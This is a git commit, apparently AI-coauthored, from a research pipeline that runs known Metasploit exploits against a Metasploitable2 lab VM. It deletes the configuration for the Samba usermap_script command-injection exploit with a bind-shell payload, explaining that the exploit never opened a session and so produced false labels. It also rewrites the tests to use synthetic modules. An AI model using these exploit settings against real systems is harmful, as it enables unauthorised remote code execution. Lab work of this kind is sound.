catalog: remove samba_usermap_script — never landed sessions in prod

PIPELINE.md §1 (default-to-removal), §4.3 (catalog admission), §10
(every dishonest label is a poisoned training example).

Empirical evidence on commits 4ab5477c41763b: samba_usermap_script
fired its bind_perl payload but the framework's bind handler never
managed to connect to the guest's listening port within
session_open_timeout_s=30 (or even with WfsDelay=30 bumped on the
framework side). All 67 attempts in the §3 probe ended in
session_open_timeout. Yet the schedule clock was still writing
`infected_running` labels for the failed exploit — exactly the §10
poisoned-example pattern.

Until §5 step 3 builds an in-house target VM and step 4 re-admits
modules with `verified_against` recorded (§4.3), the production
catalog should consist of zero verified Tier-3 modules. That's the
state after this removal: the four remaining modules
(vsftpd_234_backdoor, distccd_command_exec, php_cgi_arg_injection,
unreal_ircd_3281_backdoor) are all `requires_bridge=true`, which the
fleet picker filters out unconditionally (the post-revert behavior
from commit 0390eb2). Net effect: production runs Tier-2 only,
producing honest Tier-2 episodes and zero dishonest Tier-3
infected_running labels.

Test fixture updated to inject synthetic in-memory ModuleConfigs
instead of loading from disk, so Tier-3 dispatch logic stays tested
even though no production module qualifies. test_exploits asserts
the new "every shipped module is requires_bridge until §4.3 admits
something verified" invariant — flips into a tripwire if anyone
reintroduces an unverified non-bridge module.

229 passed.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
Max Gorog 2026-05-03 22:48:03 -05:00
parent c41763bd28
commit dca6144a4a
3 changed files with 60 additions and 67 deletions

View file

@ -1,47 +0,0 @@
description = """
Samba 3.0.20 username-map command injection (CVE-2007-2447). Trigger
is a crafted username at SMB authentication; the Samba daemon shells
out via the username_map_script and runs whatever the attacker put in
the username. Standard Metasploitable2 vector. Uses a bind-perl
payload so msfrpcd can connect to the resulting shell via SLIRP
hostfwd; LPORT is fleet-assigned per slot (base 4444, +1000/slot)
to avoid collisions across concurrent episodes.
"""
[module]
type = "exploit"
path = "multi/samba/usermap_script"
[module.options]
RHOSTS = "{{ target_ip }}"
RPORT = 139
# WfsDelay = wait-for-session, the budget Metasploit's payload handler
# has to (a) verify the bind shell on the guest is up and (b) connect
# to it. Default is ~5s. On Metasploitable2 the perl bind payload
# takes longer than that to fork+bind under SLIRP+hostfwd, so the
# handler gives up before the listener is ready and no session lands.
# 30s gives bind_perl + the SLIRP forward time to settle. Matches
# session_open_timeout_s in exploits/driver.py so the driver and the
# framework agree on the wait budget. Refs PIPELINE.md §3 (0/67
# session_open finding).
WfsDelay = 30
[payload]
path = "cmd/unix/bind_perl"
[payload.options]
LPORT = 4444
# Give the handler retry budget when connecting to the bind port.
# msfrpcd's BindTcp handler retries every second up to ConnectTimeout
# until the perl listener accepts. Without this, a single failed
# connect aborts the session.
ConnectTimeout = 15
[session]
type = "shell"
[runtime]
# bind_perl opens a new guest port; fleet hostfwds it via SLIRP.
# No bridge egress needed — host connects in, not guest out.
requires_bridge = false
extra_target_ports = [4444]

View file

@ -26,25 +26,29 @@ MODULES_DIR = REPO_ROOT / "exploits" / "modules"
# Module config loader
# -----------------------------------------------------------------------
def test_module_catalog_has_at_least_five_metasploitable2_vectors() -> None:
"""The fleet's entry-vector variety depends on the module catalog
being populated. Five Metasploitable2 vectors is the minimum
that gives the trainer a non-trivial diversity of armed
infecting transition shapes."""
def test_module_catalog_only_contains_unverified_modules() -> None:
"""All currently-shipped Metasploitable2 modules are bridge-only and
none has been re-verified end-to-end since the §3 probe surfaced
that no Tier-3 module reliably lands sessions against the
SourceForge Metasploitable2 image. Per PIPELINE.md §4.3 admission
criteria, the catalog should consist only of verified modules; the
interim correct state is "every shipped module is requires_bridge,
so the picker filters them all out and Tier-3 doesn't run." This
keeps the dataset honest until §5 step 3 builds a target VM and
step 4 re-admits modules with `verified_against` recorded.
Updated 2026-05-04 after removing samba_usermap_script (commit
c41763b empirical evidence: bind_perl handler couldn't connect
after exploit_fire even with WfsDelay=30, producing dishonest
infected_running labels per §10)."""
from exploits.modules import load_module_configs
catalog = load_module_configs(MODULES_DIR)
assert len(catalog) >= 5, \
f"only {len(catalog)} modules; need at least 5 for fleet variety"
names = set(catalog.keys())
expected = {
"vsftpd_234_backdoor",
"samba_usermap_script",
"distccd_command_exec",
"php_cgi_arg_injection",
"unreal_ircd_3281_backdoor",
}
missing = expected - names
assert not missing, f"missing canonical modules: {missing}"
assert all(m.requires_bridge for m in catalog.values()), (
"every currently-shipped module must be requires_bridge=true so "
"the production picker drops all of them — keeps Tier-3 honest "
"until a verified module is admitted (§4.3). Modules in catalog: "
f"{[(n, m.requires_bridge) for n, m in catalog.items()]}"
)
def test_load_vsftpd_module_config_round_trip() -> None:
@ -99,7 +103,6 @@ def test_module_target_port_pulls_rport() -> None:
from exploits.modules import load_module_configs, module_target_port
catalog = load_module_configs(MODULES_DIR)
assert module_target_port(catalog["vsftpd_234_backdoor"]) == 21
assert module_target_port(catalog["samba_usermap_script"]) == 139
assert module_target_port(catalog["distccd_command_exec"]) == 3632
assert module_target_port(catalog["php_cgi_arg_injection"]) == 80
assert module_target_port(catalog["unreal_ircd_3281_backdoor"]) == 6667

View file

@ -207,8 +207,45 @@ class _RecordingPopen:
self.stderr = b""
def _fixture_modules() -> dict:
"""Synthetic in-memory module catalog for test fixtures.
Production no longer ships any verified Tier-3 modules the
samba_usermap_script entry was removed because it never landed a
session against the configured Metasploitable2 target (PIPELINE.md
§4.3 admission criteria, default-to-removal). Until §5 step 3
builds a target VM and step 4 re-admits modules with a recorded
`verified_against`, the production catalog is empty by design.
Tests still need to exercise Tier-3 dispatch logic, so this
fixture provides a SLIRP-friendly module + a bridge-required
module hand-built in-memory. Keeping the fixture decoupled from
`exploits/modules/*.toml` means production catalog state can
change freely without breaking these tests."""
from exploits.modules import ModuleConfig
return {
"fixture_slirp": ModuleConfig(
name="fixture_slirp",
module_type="exploit",
module_path="multi/test/slirp_friendly_fixture",
options={"RHOSTS": "{{ target_ip }}", "RPORT": 139},
payload_path="cmd/unix/bind_perl",
payload_options={"LPORT": 4444},
requires_bridge=False,
extra_target_ports=(4444,),
),
"fixture_bridge": ModuleConfig(
name="fixture_bridge",
module_type="exploit",
module_path="multi/test/bridge_required_fixture",
options={"RHOSTS": "{{ target_ip }}", "RPORT": 21},
payload_path="cmd/unix/interact",
requires_bridge=True,
),
}
def _fleet_cfg_with_modules(tmp_path: Path, *, force_tier2: bool = False):
from exploits.modules import load_module_configs
from orchestrator import fleet
from samples.manifest import SampleManifest
@ -218,7 +255,7 @@ def _fleet_cfg_with_modules(tmp_path: Path, *, force_tier2: bool = False):
repo_root=repo_root,
data_root=tmp_path,
manifest=SampleManifest.load(repo_root / "samples" / "manifest.toml"),
modules=load_module_configs(repo_root / "exploits" / "modules"),
modules=_fixture_modules(),
force_tier2=force_tier2,
)